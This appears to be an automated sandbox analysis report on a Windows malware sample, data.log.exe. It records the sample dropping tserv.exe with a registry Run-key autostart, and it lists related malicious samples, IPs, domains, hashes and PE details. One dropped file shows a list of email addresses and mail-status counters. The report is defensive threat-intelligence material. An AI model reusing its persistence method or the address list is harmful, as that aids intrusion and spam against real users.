Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 17.171.2.72, 17.171.2.68, 17.171.2.60, 17.179.253.49, 17.179.253.48, 17.179.253.44, 17.179.253.43, 17.179.253.38, 17.179.253.34, 17.179.253.33 Excluded domains from analysis (whitelisted): rn-mailsvcp-ppex-lapp45.apple.com, ma1-aaemail-dr-lapp03.apple.com, store-images.s-microsoft.com-c.edgekey.net, rn-mailsvcp-ppex-lapp24.apple.com, rn-mailsvcp-ppex-lapp44.apple.com, arc.msn.com, e12564.dspb.akamaiedge.net, apple.com, rn-mailsvcp-ppex-lapp35.apple.com, ma1-aaemail-dr-lapp01.apple.com, store-images.s-microsoft.com, ma1-aaemail-dr-lapp02.apple.com, rn-mailsvcp-ppex-lapp15.apple.com, img-prod-cms-rt-microsoft-com.akamaized.net, rn-mailsvcp-ppex-lapp14.apple.com, rn-mailsvcp-ppex-lapp34.apple.com Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtOpenFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:55:56	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run tserv C:\Windows\tserv.exe s
15:55:58	API Interceptor	19x Sleep call for process: tserv.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
67.219.247.199	test.dat.exe	Get hash	malicious	Browse
67.219.247.199	Update-KB6734-x86.exe	Get hash	malicious	Browse
216.105.38.6	Update-KB7390-x86.exe	Get hash	malicious	Browse
	Update-KB5058-x86.exe	Get hash	malicious	Browse
	file.txt.exe	Get hash	malicious	Browse
	Update-KB250-x86.exe	Get hash	malicious	Browse
	Update-KB2984-x86.exe	Get hash	malicious	Browse
	doc.msg.exe	Get hash	malicious	Browse
	test.msg.exe	Get hash	malicious	Browse
	Update-KB3756-x86.exe	Get hash	malicious	Browse
	body.elm.exe	Get hash	malicious	Browse
	readme.txt.exe	Get hash	malicious	Browse
	Update-KB9504-x86.exe	Get hash	malicious	Browse
	Update-KB6340-x86.exe	Get hash	malicious	Browse
	file.msg.exe	Get hash	malicious	Browse
	Update-KB1484-x86.exe	Get hash	malicious	Browse
44.239.72.13	message.txt.exe	Get hash	malicious	Browse
	test.dat.exe	Get hash	malicious	Browse
	Update-KB7390-x86.exe	Get hash	malicious	Browse
	Update-KB6734-x86.exe	Get hash	malicious	Browse
	Update-KB5058-x86.exe	Get hash	malicious	Browse
	Update-KB78-x86.exe	Get hash	malicious	Browse
51.81.242.150	message.txt.exe	Get hash	malicious	Browse
	test.dat.exe	Get hash	malicious	Browse
	Update-KB6734-x86.exe	Get hash	malicious	Browse
	Update-KB5058-x86.exe	Get hash	malicious	Browse
	file.txt.exe	Get hash	malicious	Browse
	Update-KB250-x86.exe	Get hash	malicious	Browse
	Update-KB2984-x86.exe	Get hash	malicious	Browse
	doc.msg.exe	Get hash	malicious	Browse
	test.msg.exe	Get hash	malicious	Browse
	Update-KB3756-x86.exe	Get hash	malicious	Browse
	body.elm.exe	Get hash	malicious	Browse
	readme.txt.exe	Get hash	malicious	Browse
	Update-KB9504-x86.exe	Get hash	malicious	Browse
	Update-KB6340-x86.exe	Get hash	malicious	Browse
	file.msg.exe	Get hash	malicious	Browse
	Update-KB1484-x86.exe	Get hash	malicious	Browse
	lsass(1).exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
mimas.w3.org	message.txt.exe	Get hash	malicious	Browse	128.30.52.79
	test.dat.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB7390-x86.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB6734-x86.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB5058-x86.exe	Get hash	malicious	Browse	128.30.52.79
	file.txt.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB250-x86.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB2984-x86.exe	Get hash	malicious	Browse	128.30.52.79
	doc.msg.exe	Get hash	malicious	Browse	128.30.52.79
	test.msg.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB3756-x86.exe	Get hash	malicious	Browse	128.30.52.79
	body.elm.exe	Get hash	malicious	Browse	128.30.52.79
	readme.txt.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB9504-x86.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB6340-x86.exe	Get hash	malicious	Browse	128.30.52.79
	file.msg.exe	Get hash	malicious	Browse	128.30.52.79
	Update-KB1484-x86.exe	Get hash	malicious	Browse	128.30.52.79
	68lette.exe	Get hash	malicious	Browse	128.30.52.79
	64messag.exe	Get hash	malicious	Browse	128.30.52.79
	36k9v5LTknDj.exe	Get hash	malicious	Browse	128.30.52.79
www3.cedesunjerinkas.com	message.elm.exe	Get hash	malicious	Browse	193.166.255.171
	message.txt.exe	Get hash	malicious	Browse	193.166.255.171
	test.dat.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB7390-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB6734-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB5058-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB78-x86.exe	Get hash	malicious	Browse	193.166.255.171
	file.txt.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB250-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB2984-x86.exe	Get hash	malicious	Browse	193.166.255.171
	doc.msg.exe	Get hash	malicious	Browse	193.166.255.171
	test.msg.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB3756-x86.exe	Get hash	malicious	Browse	193.166.255.171
	body.elm.exe	Get hash	malicious	Browse	193.166.255.171
	readme.txt.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB9504-x86.exe	Get hash	malicious	Browse	193.166.255.171
	Update-KB6340-x86.exe	Get hash	malicious	Browse	193.166.255.171

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AIS-WESTUS	Update-KB7390-x86.exe	Get hash	malicious	Browse	216.105.38.6
	Update-KB5058-x86.exe	Get hash	malicious	Browse	216.105.38.6
	file.txt.exe	Get hash	malicious	Browse	216.105.38.6
	pQsnMSKRxz	Get hash	malicious	Browse	207.158.92.106
	83f0vQR5Uf	Get hash	malicious	Browse	209.216.236.170
	arm7	Get hash	malicious	Browse	173.213.255.221
	dAomIYnSHd	Get hash	malicious	Browse	207.158.92.120
	Update-KB250-x86.exe	Get hash	malicious	Browse	216.105.38.6
	Update-KB2984-x86.exe	Get hash	malicious	Browse	216.105.38.6
	doc.msg.exe	Get hash	malicious	Browse	216.105.38.6
	TbQaXKyLhs.exe	Get hash	malicious	Browse	207.158.33.45
	test.msg.exe	Get hash	malicious	Browse	216.105.38.6
	Update-KB3756-x86.exe	Get hash	malicious	Browse	216.105.38.6
	body.elm.exe	Get hash	malicious	Browse	216.105.38.6
	readme.txt.exe	Get hash	malicious	Browse	216.105.38.6
	Update-KB9504-x86.exe	Get hash	malicious	Browse	216.105.38.6
	Update-KB6340-x86.exe	Get hash	malicious	Browse	216.105.38.6
	RLWDuOUVPt	Get hash	malicious	Browse	147.203.200.102
	skhubz22bY	Get hash	malicious	Browse	209.59.60.110
	7spunOMzSK	Get hash	malicious	Browse	209.216.193.230
SYMANTEC-US	message.txt.exe	Get hash	malicious	Browse	67.219.246.220
	test.dat.exe	Get hash	malicious	Browse	67.219.247.199
	Update-KB7390-x86.exe	Get hash	malicious	Browse	67.219.246.220
	Update-KB6734-x86.exe	Get hash	malicious	Browse	67.219.247.199
	Update-KB5058-x86.exe	Get hash	malicious	Browse	67.219.246.220
	file.txt.exe	Get hash	malicious	Browse	67.219.246.220
	Update-KB250-x86.exe	Get hash	malicious	Browse	67.219.250.103
	Update-KB2984-x86.exe	Get hash	malicious	Browse	67.219.246.199
	doc.msg.exe	Get hash	malicious	Browse	67.219.250.103
	HsWJJz7nq4.exe	Get hash	malicious	Browse	67.219.246.204
	test.msg.exe	Get hash	malicious	Browse	67.219.246.103
	Update-KB3756-x86.exe	Get hash	malicious	Browse	67.219.246.103
	body.elm.exe	Get hash	malicious	Browse	67.219.246.103
	readme.txt.exe	Get hash	malicious	Browse	67.219.250.103
	Update-KB9504-x86.exe	Get hash	malicious	Browse	67.219.246.199
	Update-KB6340-x86.exe	Get hash	malicious	Browse	67.219.250.103
	ivMI3veipP.exe	Get hash	malicious	Browse	67.219.246.199
	file.msg.exe	Get hash	malicious	Browse	67.219.246.103
	Update-KB1484-x86.exe	Get hash	malicious	Browse	67.219.250.199
	46DOCUMEN.exe	Get hash	malicious	Browse	67.219.246.195

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\~9940.tmp Download File
Process:	C:\Windows\tserv.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	52
Entropy (8bit):	3.723768326522428
Encrypted:	false
SSDEEP:	3:OZ6GyXn6JQkQE8ZRn:OZ6GyqJ6Rn
MD5:	39D7408E16E5674CC3E999161C2C742A
SHA1:	2640982104BE612695CEAACF250917F45C2B785B
SHA-256:	B023CEF5315E2A653FC132383B0917C4F459B7A6141CEA78F450E3347B9BB1F0
SHA-512:	387F58088B95674E961EAACCDD37E7CF111C4B093E367477EED3E507F03C39E4E21D289DCFB6912600FCEADE0F654EF41B7133EFB7F2DE70495E51A0F5543AF0
Malicious:	false
Reputation:	low
Preview:	res=0:15,4:85,5:5,8:34,&srv=450:7,550:15,554:12,&wn=

C:\Users\user\AppData\Local\Temp\~99A.tmp Download File
Process:	C:\Windows\tserv.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.8014053959982155
Encrypted:	false
SSDEEP:	3:OYfjJQfPbMHcfdJQ4DJQ7ZQ2JOs:OmJOdDQ44lJOs
MD5:	2EC96173AF9D16EF0B31A218A1D22F11
SHA1:	08FF24031D4535C7A2FCC3DC747BB82E7B794073
SHA-256:	BED092CCE6864EE4599E8D0651B48625E97CA36C1DC793FBEE181DB9AC142BC6
SHA-512:	254F0980DE3825C4E26A71594B632A32A6244ED99967F0AAABEC4A29CC384D3F9BBB58889AE437BD552D98CC8510909ABE2E073299B896623671833DBF525B5E
Malicious:	false
Reputation:	low
Preview:	res=0:61,4:39,5:13,8:77,&srv=220:1,421:8,450:4,451:1,550:54,553:5,554:4,&wn=

C:\Users\user\Desktop\615D.tmp Download File
Process:	C:\Users\user\Desktop\data.log.exe
File Type:	data
Category:	modified
Size (bytes):	88055
Entropy (8bit):	6.643058716507161
Encrypted:	false
SSDEEP:	1536:x9tn5gd6zLsRsh43SSWvSKOEbus+1ZFoYBNzoDttbPaq9c31nmxa5k2RLWq/X:x9Id6Xd0STH1i5BytxIn2lLq/X
MD5:	28E478BA8382BDDD0D040948BED5AE0C
SHA1:	73D87B97699A3C739B7C5F95F7BB00C47E231CF5
SHA-256:	EB5FAE9A1370F2AE8C504435D9E96A28E9DA44662267E8CBA02D7FF2C1140171
SHA-512:	39C62CEE4BC08E08254762002609E138EC0B5034D6CE836ABC8CA5E139F36E7AE4A5A2E33B68B73B640B6B16A244B3066E22862C695C20858FBF466F5A3E9CEC
Malicious:	true
Reputation:	low
Preview:	[O" tBb83FOJL5'4Fau'bmVO@%DVj}gotga&UZ.dLCw q)iVz{7/N6!lDe'vw/bYjcK3b.338S1#`$T;}.^#Gt>vO4s.oaTVYao3.$/?M)q7cz?.Onfw7F[g09(izg.P.B?{.)op.z;B.-.O)SttAfg{AT[2>"x;9j2OUuYSovGI#zn.).a}dnjQf7!yP-Ja62NQ!!wi1mJkwU0]]M.W,LiE}z8\|.b6G:8kL?]4vPE"oI4al7.:I8?5e!3>hU"5EXiv{X#U.jF>seyv.p#,gA/hT,()HCZ[6W0JBjN&$"j71Y.AYauc.cLKiOnfz3$Kpms\m,\|KQE/2`Vjv@+,Gk1i,}.tsmag+<k.~d=xQ`f?`-}64iGSE h@\0TQ=$%#J'O=4V!dY!L1kT.vBOP 2D62.HT6x=PsB0s1p2g@[AX+~vT[.Ktd5nog3NYV?9.Nh^j9s],{[Xz[{2S7[M\Jh[SKVi oe_AVmD#\'z%n^)mr!(=&q.%\|5.y.&[jyCY?x.zD\H ;0:[!~n~"mwF>Xc%Wv\U.^7j}baQiv;AQZl~~T:-V[\|&~5.kX>uVHf7i~Q./.Y^uQVo#<i@$xOIwIK"pRLNxp0@vkQ@ODHVm.7L<72.H.[+JR xx4_.tEEWcAcZSzx+Jjf.0;xB9Y?t.RgV^V%&J6"w.y-\g"TX(9LczZ)mJGj6[].4t#D.,>.='zY6[re0zsl6k$;tMz.B.6Z+v1cz-FCBmwC'DQ2PjygyXcel?.p?<Rsr3\nj/)9I0W\|(H0/,oLG>Y&?.Fy)2J.}&A%=Y$<>sUam41g$i-^eC-5LH.)G;}L4Azw\mnbC.>.77f\|Sq&kYA}(]H>_xv.4.W>V8tGK.-9xvy,x9&8x;>X@-^ygac..y6K.sOaSd~"Ntin@b6M6@HSA*T63Lv!9x9./A@[`xWr+=mg..25Gbj).S>MWxbunA_a2H/.P):[i6c]Ft@Y.iTZ\R?kH-45;.$\|M7ET\=0,

C:\Windows\tserv.exe Download File
Process:	C:\Users\user\Desktop\data.log.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	466891
Entropy (8bit):	3.9003083353936203
Encrypted:	false
SSDEEP:	3072:ObzsVGXdDVzs7N8WTgOJ99e3CLd4kh7JKjjRBBgvhtjkr8Ichb846qYoesikpr+8:ksVGNBtOJOMiZsTgjjODyE
MD5:	7C30F98ED7373BBA1266550779E7993A
SHA1:	B05D0AF01B9CC3050A4984D3FAB96555ABA46330
SHA-256:	822AF12C9EBCF9E21D38F0EB8D3E39E4096E17CC43623E81D5F9502C1FD2AC19
SHA-512:	4B4E1E5D188E18E0C57A49E38B61A58BB297309BA319AAC7A736687B2D7FD4ADE59532F89BCBC4D79A58FA64AAC2CC345558CE0AB7DEAD458925D2F3EC4450EC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 68%, Browse Antivirus: ReversingLabs, Detection: 91%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-.fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E.....................p.......]............@..........................P..................................................P....@..................................................................H...............L............................text............................... ..`.rdata...........0..................@..@.data....(..........................@....rsrc........@....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\tserv.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\data.log.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\tserv.wax Download File
Process:	C:\Windows\tserv.exe
File Type:	data
Category:	modified
Size (bytes):	1096561564
Entropy (8bit):	6.533472758904392E-6
Encrypted:	false
SSDEEP:
MD5:	B0FC05995E74D5D2B288F3E778EDF5C7
SHA1:	2C192D4935813B02D8E895253156681DEB4DFDC8
SHA-256:	E3FD2DFD9EDE009B24351ECEFF086FA64844983E28E5A058489F70DD9DC54DE3
SHA-512:	C41D70799E1C7BDCBE76A44F8998E655F7105DD0091976C89A4A6205C4C130F968F90633013E2CC79F9BEA30CFD3AC15329DABC54F403BDE787C3392DCABD05D
Malicious:	false
Reputation:	low
Preview:	macjohnsmith@yahoo.com..................macjohnsmith@hotmail.com................macjohnsmith@yandex.ru..................macjohnsmith@tut.by.....................macjohnsmith@mail.com...................macjohnsmith@bigmir.net.................njhnbkf@gmail.com.......................macjohnsmith@inbox.lv...................ppp@a1plus.at...........................web@telering.at.........................gprs@a1plus.at..........................user@au.au-net.ne.jp............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	3.9003083353936203
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	data.log.exe
File size:	466891
MD5:	7c30f98ed7373bba1266550779e7993a
SHA1:	b05d0af01b9cc3050a4984d3fab96555aba46330
SHA256:	822af12c9ebcf9e21d38f0eb8d3e39e4096e17cc43623e81d5f9502c1fd2ac19
SHA512:	4b4e1e5d188e18e0c57a49e38b61a58bb297309ba319aac7a736687b2d7fd4ade59532f89bcbc4d79a58fa64aac2cc345558ce0ab7dead458925d2f3ec4450ec
SSDEEP:	3072:ObzsVGXdDVzs7N8WTgOJ99e3CLd4kh7JKjjRBBgvhtjkr8Ichb846qYoesikpr+8:ksVGNBtOJOMiZsTgjjODyE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............fr..fr..fr..n...fr..j}..fr..n/..fr.jn/..fr..fs.wfr..j-..fr..j...fr..m,..fr..j(..fr.Rich.fr.................PE..L... ?.E...

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x425d91
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x45113F20 [Wed Sep 20 13:16:16 2006 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	547cd05356c429dc57b17bf0fd6daf12

Entrypoint Preview

Instruction
push 00000060h
push 0042E598h
call 00007F42DC66CCC4h
mov edi, 00000094h
mov eax, edi
call 00007F42DC66BB1Ch
mov dword ptr [ebp-18h], esp
mov esi, esp
mov dword ptr [esi], edi
push esi
call dword ptr [0042E0ECh]
mov ecx, dword ptr [esi+10h]
mov dword ptr [00432214h], ecx
mov eax, dword ptr [esi+04h]
mov dword ptr [00432220h], eax
mov edx, dword ptr [esi+08h]
mov dword ptr [00432224h], edx
mov esi, dword ptr [esi+0Ch]
and esi, 00007FFFh
mov dword ptr [00432218h], esi
cmp ecx, 02h
je 00007F42DC66C41Eh
or esi, 00008000h
mov dword ptr [00432218h], esi
shl eax, 08h
add eax, edx
mov dword ptr [0043221Ch], eax
sub esi, esi
push esi
mov edi, dword ptr [0042E0BCh]
call edi
cmp word ptr [eax], 5A4Dh
jne 00007F42DC66C431h
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
cmp dword ptr [ecx], 00004550h
jne 00007F42DC66C424h
movzx eax, word ptr [ecx+18h]
cmp eax, 0000010Bh
je 00007F42DC66C431h
cmp eax, 0000020Bh
je 00007F42DC66C417h
mov dword ptr [ebp-1Ch], esi
jmp 00007F42DC66C439h
cmp dword ptr [ecx+00000084h], 0Eh
jbe 00007F42DC66C404h
sub eax, eax
cmp dword ptr [ecx+000000F8h], esi
jmp 00007F42DC66C420h
cmp dword ptr [ecx+74h], 0Eh
jbe 00007F42DC66C3F4h
sub eax, eax
cmp dword ptr [ecx+000000E8h], esi
setne al
mov dword ptr [ebp-1Ch], eax

Rich Headers

Programming Language:

[RES] VS2003 (.NET) build 3077
[ASM] VS2003 (.NET) build 3077
[C++] VS2003 (.NET) build 3077
[ C ] VS2003 (.NET) build 3077
[LNK] VS2003 (.NET) build 3077

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30204	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x30118	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2f6d0	0x48	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e000	0x24c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2c5a4	0x2d000	False	0.562841796875	data	6.38402221754	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2e000	0x2efc	0x3000	False	0.361490885417	data	4.95542429842	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x31000	0x28c0	0x1000	False	0.211669921875	data	1.97938888979	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x30118	0x31000	False	0.0334921077806	data	0.441816650055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xafc\xa7aa\x8888\x8888\x8088\xa7aa\xffff\xffff\x80ff\xa7aa\xffff\xffff\x80ff\xa7aa\xff	0x61518	0x2c00	data	English	United States
\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\xffff\